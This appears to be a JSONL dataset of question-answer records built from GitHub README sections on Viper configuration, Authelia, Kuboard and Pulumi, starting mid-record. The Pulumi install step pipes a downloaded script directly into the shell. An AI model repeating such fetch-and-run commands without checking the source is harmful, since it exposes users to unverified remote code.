NATS\n\n```go\nviper.AddRemoteProvider(\"nats\", \"nats://127.0.0.1:4222\", \"myapp.config\")\nviper.SetConfigType(\"json\")\nerr := viper.ReadRemoteConfig()\n```", "tags": ["spf13"], "source": "github_gists", "category": "spf13", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 29846, "answer_score": 10, "has_code": true, "url": "https://github.com/spf13/viper", "collected_at": "2026-01-16T23:30:52.856898"}
{"id": "gh_558e4fdc8159", "question": "How to: Remote Key/Value Store Examples (Encrypted)", "question_body": "About spf13/viper", "answer": "```go\nviper.AddSecureRemoteProvider(\"etcd\",\"http://127.0.0.1:4001\",\"/config/hugo.json\",\"/etc/secrets/mykeyring.gpg\")\nviper.SetConfigType(\"json\") // because there is no file extension in a stream of bytes,  supported extensions are \"json\", \"toml\", \"yaml\", \"yml\", \"properties\", \"props\", \"prop\", \"env\", \"dotenv\"\nerr := viper.ReadRemoteConfig()\n```", "tags": ["spf13"], "source": "github_gists", "category": "spf13", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 29846, "answer_score": 10, "has_code": true, "url": "https://github.com/spf13/viper", "collected_at": "2026-01-16T23:30:52.856904"}
{"id": "gh_b4522491cf6c", "question": "How to: Watching Key/Value Store Changes", "question_body": "About spf13/viper", "answer": "```go\n// Alternatively, you can create a new viper instance\nvar runtime_viper = viper.New()\n\nruntime_viper.AddRemoteProvider(\"etcd\", \"http://127.0.0.1:4001\", \"/config/hugo.yml\")\nruntime_viper.SetConfigType(\"yaml\") // because there is no file extension in a stream of bytes, supported extensions are \"json\", \"toml\", \"yaml\", \"yml\", \"properties\", \"props\", \"prop\", \"env\", \"dotenv\"\n\n// Read from remote config the first time\nerr := runtime_viper.ReadRemoteConfig()\n\n// Unmarshal config\nruntime_viper.Unmarshal(&runtime_conf)\n\n// Open a goroutine to watch remote changes forever\ngo func(){\n\tfor {\n\t\ttime.Sleep(time.Second * 5) // delay after each request\n\n\t\t// Currently, only tested with Etcd support\n\t\terr := runtime_viper.WatchRemoteConfig()\n\t\tif err != nil {\n\t\t\tlog.Errorf(\"unable to read remote config: %v\", err)\n\t\t\tcontinue\n\t\t}\n\n\t\t// Unmarshal new config into our runtime config struct\n\t\truntime_viper.Unmarshal(&runtime_conf)\n\t}\n}()\n```", "tags": ["spf13"], "source": "github_gists", "category": "spf13", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 29846, "answer_score": 10, "has_code": true, "url": "https://github.com/spf13/viper", "collected_at": "2026-01-16T23:30:52.856910"}
{"id": "gh_bd7043e13d50", "question": "How to: Getting Values From Viper", "question_body": "About spf13/viper", "answer": "The simplest way to retrieve configuration values from Viper is to use `Get*`\nfunctions. `Get` will return an any type, but specific types may be retrieved\nwith `Get\n` functions.\n\nNote that each `Get*` function will return a zero value if it’s key is not\nfound. To check if a key exists, use the `IsSet` method.\n\nNested keys use `.` as a delimiter and numbers for array indexes. Given the\nfollowing configuration:\n\n```jsonc\n{\n    \"datastore\": {\n        \"metric\": {\n            \"host\": \"127.0.0.1\",\n            \"ports\": [\n                5799,\n                6029\n            ]\n        }\n    }\n}\n\n```\n\n```go\nGetString(\"datastore.metric.host\") // \"127.0.0.1\"\nGetInt(\"host.ports.1\") // 6029\n```\n\n> **NOTE** Viper _does not_ deep merge configuration values. Complex values\n> that are overridden will be entirely replaced.\n\nIf there exists a key that matches the delimited key path, its value will be\nreturned instead.\n\n```jsonc\n{\n    \"datastore.metric.host\": \"0.0.0.0\",\n    \"datastore\": {\n        \"metric\": {\n            \"host\": \"127.0.0.1\"\n        }\n    }\n}\n```\n\n```go\nGetString(\"datastore.metric.host\") // \"0.0.0.0\"\n```", "tags": ["spf13"], "source": "github_gists", "category": "spf13", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 29846, "answer_score": 10, "has_code": true, "url": "https://github.com/spf13/viper", "collected_at": "2026-01-16T23:30:52.856924"}
{"id": "gh_183ea939a4ce", "question": "How to: Configuration Subsets", "question_body": "About spf13/viper", "answer": "It's often useful to extract a subset of configuration (e.g., when developing a\nreusable module which should accept specific sections of configuration).\n\n```yaml\ncache:\n  cache1:\n    item-size: 64\n    max-items: 100\n  cache2:\n    item-size: 80\n    max-items: 200\n```\n\n```go\nfunc NewCache(v *Viper) *Cache {\n\treturn &Cache{\n\t\tItemSize: v.GetInt(\"item-size\"),\n\t\tMaxItems: v.GetInt(\"max-items\"),\n\t}\n}\n\ncache1Config := viper.Sub(\"cache.cache1\")\n\nif cache1Config == nil {\n    // Sub returns nil if the key cannot be found\n\tpanic(\"cache configuration not found\")\n}\n\ncache1 := NewCache(cache1Config)\n```", "tags": ["spf13"], "source": "github_gists", "category": "spf13", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 29846, "answer_score": 10, "has_code": true, "url": "https://github.com/spf13/viper", "collected_at": "2026-01-16T23:30:52.856931"}
{"id": "gh_793e2f772f45", "question": "How to: Unmarshaling", "question_body": "About spf13/viper", "answer": "You also have the option of unmarshaling configuration to a struct, map, etc.,\nusing `Unmarshal*` methods.\n\n```go\ntype config struct {\n\tPort int\n\tName string\n\tPathMap string `mapstructure:\"path_map\"`\n}\n\nvar C config\n\nerr := viper.Unmarshal(&C)\nif err != nil {\n\tt.Fatalf(\"unable to decode into struct, %v\", err)\n}\n```\n\nIf you want to unmarshal configuration where the keys themselves contain `.`\n(the default key delimiter), you can change the delimiter.\n\n```go\nv := viper.NewWithOptions(viper.KeyDelimiter(\"::\"))\n\nv.SetDefault(\"chart::values\", map[string]any{\n\t\"ingress\": map[string]any{\n\t\t\"annotations\": map[string]any{\n\t\t\t\"traefik.frontend.rule.type\":                 \"PathPrefix\",\n\t\t\t\"traefik.ingress.kubernetes.io/ssl-redirect\": \"true\",\n\t\t},\n\t},\n})\n\ntype config struct {\n\tChart struct{\n\t\tValues map[string]any\n\t}\n}\n\nvar C config\n\nv.Unmarshal(&C)\n```\n\nViper also supports unmarshaling into embedded structs.\n\n```go\n/*\nExample config:\n\nmodule:\n    enabled: true\n    token: 89h3f98hbwf987h3f98wenf89ehf\n*/\ntype config struct {\n\tModule struct {\n\t\tEnabled bool\n\n\t\tmoduleConfig `mapstructure:\",squash\"`\n\t}\n}\n\ntype moduleConfig struct {\n\tToken string\n}\n\nvar C config\n\nerr := viper.Unmarshal(&C)\nif err != nil {\n\tt.Fatalf(\"unable to decode into struct, %v\", err)\n}\n```\n\nViper uses\n[github.com/go-viper/mapstructure](https://github.com/go-viper/mapstructure)\nunder the hood for unmarshaling values which uses `mapstructure` tags, by\ndefault.", "tags": ["spf13"], "source": "github_gists", "category": "spf13", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 29846, "answer_score": 10, "has_code": true, "url": "https://github.com/spf13/viper", "collected_at": "2026-01-16T23:30:52.856941"}
{"id": "gh_e462a4c17880", "question": "How to: Marshalling to String", "question_body": "About spf13/viper", "answer": "You may need to marshal all the settings held in Viper into a string. You can\nuse your favorite format's marshaller with the config returned by\n`AllSettings`.\n\n```go\nimport (\n\tyaml \"go.yaml.in/yaml/v3\"\n)\n\nfunc yamlStringSettings() string {\n\tc := viper.AllSettings()\n\tbs, err := yaml.Marshal(c)\n\tif err != nil {\n\t\tlog.Fatalf(\"unable to marshal config to YAML: %v\", err)\n\t}\n\treturn string(bs)\n}\n```", "tags": ["spf13"], "source": "github_gists", "category": "spf13", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 29846, "answer_score": 10, "has_code": true, "url": "https://github.com/spf13/viper", "collected_at": "2026-01-16T23:30:52.856948"}
{"id": "gh_b16a118b0af9", "question": "How to: Decoding Custom Formats", "question_body": "About spf13/viper", "answer": "A frequently requested feature is adding more value formats and decoders (for\nexample; parsing character delimited strings into slices. This is already\navailable in Viper using mapstructure decode hooks.\n\nRead more in [this blog\npost](https://sagikazarmark.hu/blog/decoding-custom-formats-with-viper/).", "tags": ["spf13"], "source": "github_gists", "category": "spf13", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 29846, "answer_score": 10, "has_code": false, "url": "https://github.com/spf13/viper", "collected_at": "2026-01-16T23:30:52.856954"}
{"id": "gh_9411e766cf33", "question": "How to: Why is it called “Viper”?", "question_body": "About spf13/viper", "answer": "Viper is designed to be a\n[companion](http://en.wikipedia.org/wiki/Viper_(G.I._Joe)) to\n[Cobra](https://github.com/spf13/cobra). While both can operate completely\nindependently, together they make a powerful pair to handle much of your\napplication foundation needs.", "tags": ["spf13"], "source": "github_gists", "category": "spf13", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 29846, "answer_score": 10, "has_code": false, "url": "https://github.com/spf13/viper", "collected_at": "2026-01-16T23:30:52.856960"}
{"id": "gh_a775c856d358", "question": "How to: I found a bug or want a feature, should I file an issue or a PR?", "question_body": "About spf13/viper", "answer": "Yes, but there are two things to be aware of.\n\n1.  The Viper project is currently prioritizing backwards compatibility and\n    stability over features.\n2.  Features may be deferred until Viper 2 forms.", "tags": ["spf13"], "source": "github_gists", "category": "spf13", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 29846, "answer_score": 10, "has_code": true, "url": "https://github.com/spf13/viper", "collected_at": "2026-01-16T23:30:52.856966"}
{"id": "gh_1646e6eeebd6", "question": "How to: Can multiple Viper instances be used?", "question_body": "About spf13/viper", "answer": "**tl;dr:** Yes.\n\nEach will have its own unique configuration and can read from a different\nconfiguration source. All of the functions that the Viper package supports are\nmirrored as methods on a Viper instance.\n\n```go\nx := viper.New()\ny := viper.New()\n\nx.SetDefault(\"ContentDir\", \"content\")\ny.SetDefault(\"ContentDir\", \"foobar\")\n```", "tags": ["spf13"], "source": "github_gists", "category": "spf13", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 29846, "answer_score": 10, "has_code": true, "url": "https://github.com/spf13/viper", "collected_at": "2026-01-16T23:30:52.856971"}
{"id": "gh_ab66b3f0a81a", "question": "How to: Should Viper be a global singleton or passed around?", "question_body": "About spf13/viper", "answer": "The best practice is to initialize a Viper instance and pass that around when\nnecessary.\n\nViper comes with a global instance (singleton) out of the box. Although it\nmakes setting up configuration easy, using it is generally discouraged as it\nmakes testing harder and can lead to unexpected behavior.\n\nThe global instance may be deprecated in the future. See\n[#1855](https://github.com/spf13/viper/issues/1855) for more details.", "tags": ["spf13"], "source": "github_gists", "category": "spf13", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 29846, "answer_score": 10, "has_code": false, "url": "https://github.com/spf13/viper", "collected_at": "2026-01-16T23:30:52.856977"}
{"id": "gh_54e504090d63", "question": "How to: Does Viper support case sensitive keys?", "question_body": "About spf13/viper", "answer": "**tl;dr:** No.\n\nViper merges configuration from various sources, many of which are either case\ninsensitive or use different casing than other sources (e.g., env vars). In\norder to provide the best experience when using multiple sources, all keys are\nmade case insensitive.\n\nThere has been several attempts to implement case sensitivity, but\nunfortunately it's not trivial. We might take a stab at implementing it in\n[Viper v2](https://github.com/spf13/viper/issues/772), but despite the initial\nnoise, it does not seem to be requested that much.\n\nYou can vote for case sensitivity by filling out this feedback form:\nhttps://forms.gle/R6faU74qPRPAzchZ9.", "tags": ["spf13"], "source": "github_gists", "category": "spf13", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 29846, "answer_score": 10, "has_code": false, "url": "https://github.com/spf13/viper", "collected_at": "2026-01-16T23:30:52.856984"}
{"id": "gh_900ddaf66d0f", "question": "How to: Is it safe to concurrently read and write to a Viper instance?", "question_body": "About spf13/viper", "answer": "No, you will need to synchronize access to Viper yourself (for example by using\nthe `sync` package). Concurrent reads and writes can cause a panic.", "tags": ["spf13"], "source": "github_gists", "category": "spf13", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 29846, "answer_score": 10, "has_code": false, "url": "https://github.com/spf13/viper", "collected_at": "2026-01-16T23:30:52.856989"}
{"id": "gh_e6000ab9f6ec", "question": "How to: Development", "question_body": "About spf13/viper", "answer": "**For an optimal developer experience, it is recommended to install\n[Nix](https://nixos.org/download.html) and\n[direnv](https://direnv.net/docs/installation.html).**\n\n_Alternatively, install [Go](https://go.dev/dl/) on your computer then run\n`make deps` to install the rest of the dependencies._\n\nRun the test suite:\n\n```shell\nmake test\n```\n\nRun linters:\n\n```shell\nmake lint # pass -j option to run them in parallel\n```\n\nSome linter violations can automatically be fixed:\n\n```shell\nmake fmt\n```", "tags": ["spf13"], "source": "github_gists", "category": "spf13", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 29846, "answer_score": 10, "has_code": true, "url": "https://github.com/spf13/viper", "collected_at": "2026-01-16T23:30:52.856996"}
{"id": "gh_ac6ed0406c18", "question": "How to: Features summary", "question_body": "About authelia/authelia", "answer": "This is a list of the key features of Authelia:\n\n* [OpenID Connect 1.0 / OAuth 2.0](#openid-connect-10--oauth-20)\n* Several second factor methods:\n  * **[Security Keys](https://www.authelia.com/overview/authentication/security-key/)** that support\n    [FIDO2] [WebAuthn] with devices like a [YubiKey].\n  * **[Time-based One-Time password](https://www.authelia.com/overview/authentication/one-time-password/)**\n    with compatible authenticator applications.\n  * **[Mobile Push Notifications](https://www.authelia.com/overview/authentication/push-notification/)**\n    with [Duo](https://duo.com/).\n* Passwordless Authentication via WebAuthn (Passkeys)\n* Password reset with identity verification using email confirmation.\n* Access restriction after too many invalid authentication attempts.\n* Fine-grained access control using rules which match criteria like subdomain, user, user group membership, request uri,\n request method, and network.\n* Choice between one-factor and two-factor policies per-rule.\n* Support of basic authentication for endpoints protected by the one-factor policy.\n* Highly available using a remote database and Redis as a highly available KV store.\n* Compatible with [Traefik](https://doc.traefik.io/traefik) out of the box using the\n  [ForwardAuth](https://doc.traefik.io/traefik/middlewares/http/forwardauth/) middleware.\n* Curated configuration from [LinuxServer](https://www.linuxserver.io/) via their\n  [SWAG](https://docs.linuxserver.io/general/swag) container as well as a\n  [guide](https://blog.linuxserver.io/2020/08/26/setting-up-authelia/).\n* Compatible with [Caddy] using the [forward_auth](https://caddyserver.com/docs/caddyfile/directives/forward_auth)\n  directive.\n* Kubernetes Support:\n  * Compatible with several Kubernetes Ingress Controllers and Gateways:\n    * [ingress-nginx](https://www.authelia.com/integration/kubernetes/nginx-ingress/)\n    * [Traefik Kubernetes CRD](https://www.authelia.com/integration/kubernetes/traefik-ingress/#ingressroute)\n    * [Traefik Kubernetes Ingress](https://www.authelia.com/integration/kubernetes/traefik-ingress/#ingress)\n    * [Istio](https://www.authelia.com/integration/kubernetes/envoy/introduction/)\n    * [Envoy Gateway](https://www.authelia.com/integration/kubernetes/envoy/gateway/)\n  * Beta support for installing via Helm using our [Charts](https://charts.authelia.com).\n\nFor more details take a look at the [Overview](https://www.authelia.com/overview/prologue/introduction/).\n\nIf you want to know more about the roadmap, follow [Roadmap](https://www.authelia.com/roadmap).", "tags": ["authelia"], "source": "github_gists", "category": "authelia", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 26400, "answer_score": 10, "has_code": true, "url": "https://github.com/authelia/authelia", "collected_at": "2026-01-16T23:30:54.806886"}
{"id": "gh_fadf66d4e70d", "question": "How to: OpenID Connect 1.0 / OAuth 2.0", "question_body": "About authelia/authelia", "answer": "Authelia is [OpenID Certified™] to the Basic OP / Implicit OP / Hybrid OP / Form Post OP / Config OP profiles of the\n[OpenID Connect™ protocol]. While this offering is still effectively\n[on the roadmap as a beta](https://www.authelia.com/roadmap/active/openid-connect/) it's very comprehensive and well\nimplemented already, also allowing us comprehensive certification. Read more about the\n[OpenID Certified™] status of Authelia in the\n[OpenID Connect 1.0 Integration Guide](https://www.authelia.com/integration/openid-connect/introduction/#openid-certified).", "tags": ["authelia"], "source": "github_gists", "category": "authelia", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 26400, "answer_score": 10, "has_code": false, "url": "https://github.com/authelia/authelia", "collected_at": "2026-01-16T23:30:54.806907"}
{"id": "gh_c79ab64c509a", "question": "How to: Proxy support", "question_body": "About authelia/authelia", "answer": "Authelia works in combination with [nginx], [Traefik], [Caddy], [Skipper], [Envoy], or [HAProxy].", "tags": ["authelia"], "source": "github_gists", "category": "authelia", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 26400, "answer_score": 10, "has_code": false, "url": "https://github.com/authelia/authelia", "collected_at": "2026-01-16T23:30:54.806915"}
{"id": "gh_1786d9709d24", "question": "How to: Getting Started", "question_body": "About authelia/authelia", "answer": "See the [Get Started Guide](https://www.authelia.com/integration/prologue/get-started/) or one of the curated examples\nbelow.", "tags": ["authelia"], "source": "github_gists", "category": "authelia", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 26400, "answer_score": 10, "has_code": false, "url": "https://github.com/authelia/authelia", "collected_at": "2026-01-16T23:30:54.806921"}
{"id": "gh_8d3e3708b970", "question": "How to: docker compose", "question_body": "About authelia/authelia", "answer": "The `docker compose` bundles act as a starting point for anyone wanting to see Authelia in action. You will have to\ncustomize them to your needs as they come with self-signed certificates.\n\n#### [Local](https://www.authelia.com/integration/deployment/docker/#local)\nThe Local compose bundle is intended to test Authelia without worrying about configuration.\nIt's meant to be used for scenarios where the server is not be exposed to the internet.\nDomains will be defined in the local hosts file and self-signed certificates will be utilised.\n\n#### [Lite](https://www.authelia.com/integration/deployment/docker/#lite)\nThe Lite compose bundle is intended for scenarios where the server will be exposed to the internet, domains and DNS will\nneed to be setup accordingly and certificates will be generated through LetsEncrypt. The Lite element refers to minimal\nexternal dependencies; File based user storage, SQLite based configuration storage. In this configuration, the service\nwill not scale well.", "tags": ["authelia"], "source": "github_gists", "category": "authelia", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 26400, "answer_score": 10, "has_code": false, "url": "https://github.com/authelia/authelia", "collected_at": "2026-01-16T23:30:54.806929"}
{"id": "gh_f1f0db561486", "question": "How to: Deployment", "question_body": "About authelia/authelia", "answer": "Now that you have tested **Authelia** and you want to try it out in your own infrastructure,\nyou can learn how to deploy and use it with [Deployment](https://www.authelia.com/integration/deployment/introduction/).\nThis guide will show you how to deploy it on bare metal as well as on\n[Kubernetes](https://kubernetes.io/).", "tags": ["authelia"], "source": "github_gists", "category": "authelia", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 26400, "answer_score": 10, "has_code": false, "url": "https://github.com/authelia/authelia", "collected_at": "2026-01-16T23:30:54.806935"}
{"id": "gh_2ef24fc7ddba", "question": "How to: Contact Options", "question_body": "About authelia/authelia", "answer": "Several contact options exist for our community, the primary one being [Matrix](#matrix). These are in addition to\n[GitHub issues](https://github.com/authelia/authelia/issues) for creating a\n[new issue](https://github.com/authelia/authelia/issues/new/choose).", "tags": ["authelia"], "source": "github_gists", "category": "authelia", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 26400, "answer_score": 10, "has_code": false, "url": "https://github.com/authelia/authelia", "collected_at": "2026-01-16T23:30:54.806941"}
{"id": "gh_e5b3ca920471", "question": "How to: Breaking changes", "question_body": "About authelia/authelia", "answer": "Since Authelia is still under active development, it is subject to breaking changes. It's recommended to pin a version\ntag instead of using the `latest` tag and reading the [release notes](https://github.com/authelia/authelia/releases)\nbefore upgrading. This is where you will find information about breaking changes and what you should do to overcome\nsaid changes.", "tags": ["authelia"], "source": "github_gists", "category": "authelia", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 26400, "answer_score": 10, "has_code": false, "url": "https://github.com/authelia/authelia", "collected_at": "2026-01-16T23:30:54.806949"}
{"id": "gh_41d127ac34b1", "question": "How to: Why Open Source?", "question_body": "About authelia/authelia", "answer": "You might wonder why Authelia is open source while it adds a great deal of security and user experience to your\ninfrastructure at zero cost. It is open source because we firmly believe that security should be available for all to\nbenefit in the face of the battlefield which is the Internet, with near zero effort.\n\nAdditionally, keeping the code open source is a way to leave it auditable by anyone who is willing to contribute. This\nway, you can be confident that the product remains secure and does not act maliciously.\n\nIt's important to keep in mind Authelia is not directly exposed on the\nInternet (your reverse proxies are) however, it's still the control plane for your internal security so take care of it!", "tags": ["authelia"], "source": "github_gists", "category": "authelia", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 26400, "answer_score": 10, "has_code": false, "url": "https://github.com/authelia/authelia", "collected_at": "2026-01-16T23:30:54.806956"}
{"id": "gh_e40a573f75e9", "question": "How to: Contribute", "question_body": "About authelia/authelia", "answer": "If you want to contribute to Authelia, please read our [contribution guidelines](CONTRIBUTING.md).\n\nAuthelia exists thanks to all the people who contribute so don't be shy, come chat with us on either [Matrix](#matrix)\nor [Discord](#discord) and start contributing too.\n\nThanks goes to these wonderful people ([emoji key](https://allcontributors.org/docs/en/emoji-key)):\nClément Michaud\n💻\n📖\n🤔\n🚧\n💬\n👀\n⚠️\n🧑‍🏫\n🚇\n🎨\n📓\n🔧\n🔬\nAmir Zarrinkafsh\n💻\n📖\n🤔\n🚧\n💬\n👀\n⚠️\n🧑‍🏫\n🚇\n🎨\n📓\n🔧\n🔬\nJames Elliott\n💻\n📖\n🤔\n🚧\n💬\n👀\n⚠️\n🧑‍🏫\n🚇\n🎨\n📓\n🔧\n🔬\nAntoine Favre\n🐛\n🤔\nBankaiNoJutsu\n💻", "tags": ["authelia"], "source": "github_gists", "category": "authelia", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 26400, "answer_score": 10, "has_code": true, "url": "https://github.com/authelia/authelia", "collected_at": "2026-01-16T23:30:54.807078"}
{"id": "gh_1a302714f66d", "question": "How to: Open Collective", "question_body": "About authelia/authelia", "answer": "#### Backers\n\nThank you to all our backers! 🙏 [Become a backer](https://opencollective.com/authelia-sponsors/contribute) and help us\nsustain our community. The money we currently receive is dedicated to fund a security audit, and potentially in the\nfuture introducing a bug bounty program to give us as many\neyes as we can to detect potential vulnerabilities.\n#### Sponsorship\n\nCompanies contributing to Authelia via Open Collective will have a special mention below.\n[Become a sponsor](https://opencollective.com/authelia-sponsors#sponsor).", "tags": ["authelia"], "source": "github_gists", "category": "authelia", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 26400, "answer_score": 10, "has_code": false, "url": "https://github.com/authelia/authelia", "collected_at": "2026-01-16T23:30:54.807100"}
{"id": "gh_19662232a548", "question": "How to: Kuboard for Kubernetes", "question_body": "About eip-work/kuboard-press", "answer": "Kuboard 是一款专为 Kubernetes 设计的免费管理界面，兼容 Kubernetes 版本 1.13 及以上。Kuboard 每周发布一个 beta 版本，最长每月发布一个正式版本，经过两年的不断迭代和优化，已经具备多集群管理、权限管理、监控套件、日志套件等丰富的功能，并且有 1000+ 的企业将 Kuboard 应用于其生产环境。Kuboard 自 2019年8月发布第一个版本以来，得到了众多用户的认可，目前已经获得了 10000+ GitHub Star\n点击这里可以查看 [Kuboard 的安装文档](https://kuboard.cn/v4/install/quickstart.html)", "tags": ["eip-work"], "source": "github_gists", "category": "eip-work", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 24756, "answer_score": 10, "has_code": false, "url": "https://github.com/eip-work/kuboard-press", "collected_at": "2026-01-16T23:30:56.290090"}
{"id": "gh_9ba4d1f3632b", "question": "How to: Infrastructure as Code in any Programming Language", "question_body": "About pulumi/pulumi", "answer": "**Pulumi Infrastructure as Code** is the easiest way to build and deploy infrastructure, of any architecture and on any cloud, using programming languages that you already know and love. Code and ship infrastructure faster with your favorite languages and tools, and embed IaC anywhere with [Automation API](https://www.pulumi.com/docs/iac/using-pulumi/automation-api/).\n\nSimply write code in your favorite language and Pulumi automatically provisions and manages your resources on\n[AWS](https://www.pulumi.com/docs/iac/clouds/aws/),\n[Azure](https://www.pulumi.com/docs/iac/clouds/azure/),\n[Google Cloud Platform](https://www.pulumi.com/docs/iac/clouds/gcp/), \n[Kubernetes](https://www.pulumi.com/docs/iac/clouds/kubernetes/), and [120+ providers](https://www.pulumi.com/registry/) using an\n[infrastructure-as-code](https://www.pulumi.com/what-is/what-is-infrastructure-as-code/) approach.\nSkip the YAML, and use standard language features like loops, functions, classes,\nand package management that you already know and love.\n\nFor example, create three web servers:\n\n```typescript\nconst aws = require(\"@pulumi/aws\");\nconst sg = new aws.ec2.SecurityGroup(\"web-sg\", {\n    ingress: [{ protocol: \"tcp\", fromPort: 80, toPort: 80, cidrBlocks: [\"0.0.0.0/0\"] }],\n});\nfor (let i = 0; i < 3; i++) {\n    new aws.ec2.Instance(`web-${i}`, {\n        ami: \"ami-7172b611\",\n        instanceType: \"t2.micro\",\n        vpcSecurityGroupIds: [sg.id],\n        userData: `#!/bin/bash\n            echo \"Hello, World!\" > index.html\n            nohup python -m SimpleHTTPServer 80 &`,\n    });\n}\n```\n\nOr a simple serverless timer that archives Hacker News every day at 8:30AM:\n\n```typescript\nconst aws = require(\"@pulumi/aws\");\n\nconst snapshots = new aws.dynamodb.Table(\"snapshots\", {\n    attributes: [{ name: \"id\", type: \"S\", }],\n    hashKey: \"id\", billingMode: \"PAY_PER_REQUEST\",\n});\n\naws.cloudwatch.onSchedule(\"daily-yc-snapshot\", \"cron(30 8 * * ? *)\", () => {\n    require(\"https\").get(\"https://news.ycombinator.com\", res => {\n        let content = \"\";\n        res.setEncoding(\"utf8\");\n        res.on(\"data\", chunk => content += chunk);\n        res.on(\"end\", () => new aws.sdk.DynamoDB.DocumentClient().put({\n            TableName: snapshots.name.get(),\n            Item: { date: Date.now(), content },\n        }).promise());\n    }).end();\n});\n```\n\nMany examples are available spanning containers, serverless, and infrastructure in\n[pulumi/examples](https://github.com/pulumi/examples).\n\nPulumi is open source under the [Apache 2.0 license](https://github.com/pulumi/pulumi/blob/master/LICENSE), supports many languages and clouds, and is easy to extend.  This\nrepo contains the `pulumi` CLI, language SDKs, and core Pulumi engine, and individual libraries are in their own repos.", "tags": ["pulumi"], "source": "github_gists", "category": "pulumi", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 24524, "answer_score": 10, "has_code": true, "url": "https://github.com/pulumi/pulumi", "collected_at": "2026-01-16T23:30:57.546481"}
{"id": "gh_5ff3c9dfc231", "question": "How to: <a name=\"getting-started\"></a>Getting Started", "question_body": "About pulumi/pulumi", "answer": "[![Watch the video](/youtube_preview_image.png)](https://www.youtube.com/watch?v=6f8KF6UGN7g)\n\nSee the [Get Started](https://www.pulumi.com/docs/iac/get-started/) guide to quickly get started with\nPulumi on your platform and cloud of choice.\n\nOtherwise, the following steps demonstrate how to deploy your first Pulumi program, using AWS\nServerless Lambdas, in minutes:\n\n1. **Install**:\n\n    To install the latest Pulumi release, run the following (see full\n    [installation instructions](https://www.pulumi.com/docs/iac/download-install/) for additional installation options):\n\n    ```bash\n    $ curl -fsSL https://get.pulumi.com/ | sh\n    ```\n\n2. **Create a Project**:\n\n    After installing, you can get started with the `pulumi new` command:\n\n    ```bash\n    $ mkdir pulumi-demo && cd pulumi-demo\n    $ pulumi new hello-aws-javascript\n    ```\n\n    The `new` command offers templates for all languages and clouds.  Run it without an argument and it'll prompt\n    you with available projects.  This command created an AWS Serverless Lambda project written in JavaScript.\n\n3. **Deploy to the Cloud**:\n\n    Run `pulumi up` to get your code to the cloud:\n\n    ```bash\n    $ pulumi up\n    ```\n\n    This makes all cloud resources needed to run your code.  Simply make edits to your project, and subsequent\n    `pulumi up`s will compute the minimal diff to deploy your changes.\n\n4. **Use Your Program**:\n\n    Now that your code is deployed, you can interact with it.  In the above example, we can curl the endpoint:\n\n    ```bash\n    $ curl $(pulumi stack output url)\n    ```\n\n5. **Access the Logs**:\n\n    If you're using containers or functions, Pulumi's unified logging command will show all of your logs:\n\n    ```bash\n    $ pulumi logs -f\n    ```\n\n6. **Destroy your Resources**:\n\n    After you're done, you can remove all resources created by your program:\n\n    ```bash\n    $ pulumi destroy -y\n    ```\n\nTo learn more, head over to [pulumi.com](https://pulumi.com/) for much more information, including\n[tutorials](https://www.pulumi.com/tutorials/), [examples](https://github.com/pulumi/examples), and\ndetails of the core Pulumi CLI and [programming model concepts](https://www.pulumi.com/docs/iac/concepts/).", "tags": ["pulumi"], "source": "github_gists", "category": "pulumi", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 24524, "answer_score": 10, "has_code": true, "url": "https://github.com/pulumi/pulumi", "collected_at": "2026-01-16T23:30:57.546501"}
{"id": "gh_96ad33ddbf90", "question": "How to: EOL Releases", "question_body": "About pulumi/pulumi", "answer": "The Pulumi CLI v1 and v2 are no longer supported. If you are not yet running v3, please consider migrating to v3 to continue getting the latest and greatest Pulumi has to offer! :muscle:\n\n* To migrate from v2 to v3, please see our [v3 Migration Guide](https://www.pulumi.com/docs/iac/download-install/migrating-3.0/).", "tags": ["pulumi"], "source": "github_gists", "category": "pulumi", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 24524, "answer_score": 10, "has_code": false, "url": "https://github.com/pulumi/pulumi", "collected_at": "2026-01-16T23:30:57.546511"}
{"id": "gh_42081592b68b", "question": "How to: Contributing", "question_body": "About pulumi/pulumi", "answer": "Visit [CONTRIBUTING.md](https://github.com/pulumi/pulumi/blob/master/CONTRIBUTING.md) for information on building Pulumi from source or contributing improvements.", "tags": ["pulumi"], "source": "github_gists", "category": "pulumi", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 24524, "answer_score": 10, "has_code": false, "url": "https://github.com/pulumi/pulumi", "collected_at": "2026-01-16T23:30:57.546517"}
{"id": "gh_b79216def355", "question": "How to: Support My Work", "question_body": "About milanm/DevOps-Roadmap", "answer": "If you find this repository helpful, consider supporting me on Patreon:\n\n[![Patreon](patreon.png)](https://www.patreon.com/techworld_with_milan)", "tags": ["milanm"], "source": "github_gists", "category": "milanm", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 18493, "answer_score": 10, "has_code": false, "url": "https://github.com/milanm/DevOps-Roadmap", "collected_at": "2026-01-16T23:31:02.057219"}
